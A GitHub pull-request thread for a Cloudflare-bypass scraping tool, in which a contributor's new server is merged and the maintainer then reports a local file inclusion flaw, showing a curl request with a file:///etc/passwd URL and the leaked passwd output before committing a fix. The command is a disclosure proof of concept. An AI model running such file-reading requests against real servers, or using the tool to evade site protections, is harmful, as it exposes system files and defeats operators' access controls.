Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

server & log feature & limit_retries feature #14

Merged
merged 1 commit into from
Aug 10, 2024
Merged

server & log feature & limit_retries feature #14

merged 1 commit into from
Aug 10, 2024

Conversation

frederik-uni
Copy link
Contributor

@frederik-uni frederik-uni commented Aug 10, 2024

routes:
/html?url=&retries=
/cookies?url=&retries=

CloudflareBypasser has now a max_retries arg & a log arg

@frederik-uni frederik-uni changed the title d server & log feature & limit_retries feature Aug 10, 2024
@sarperavci
Copy link
Owner

I inspected your commits and noticed that you've done a great job. I am merging the pull request. I'll update the README.md to include the server logic you implemented.

@sarperavci sarperavci merged commit 888d204 into sarperavci:main Aug 10, 2024
@sarperavci
Copy link
Owner

server.py is vulnerable to LFI. Please review the code. I am also looking for a fix. @frederik-uni

sarp@IdeaPad:~/Desktop/CloudflareBypassForScraping-server$ curl http://localhost:8000/html?url=file:///etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats
[...]

@sarperavci
Copy link
Owner

I just committed a fix for LFI. Please create a new PR if you have better solutions for the vulnerability.

ac6457e

@frederik-uni frederik-uni deleted the server branch August 12, 2024 16:53
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants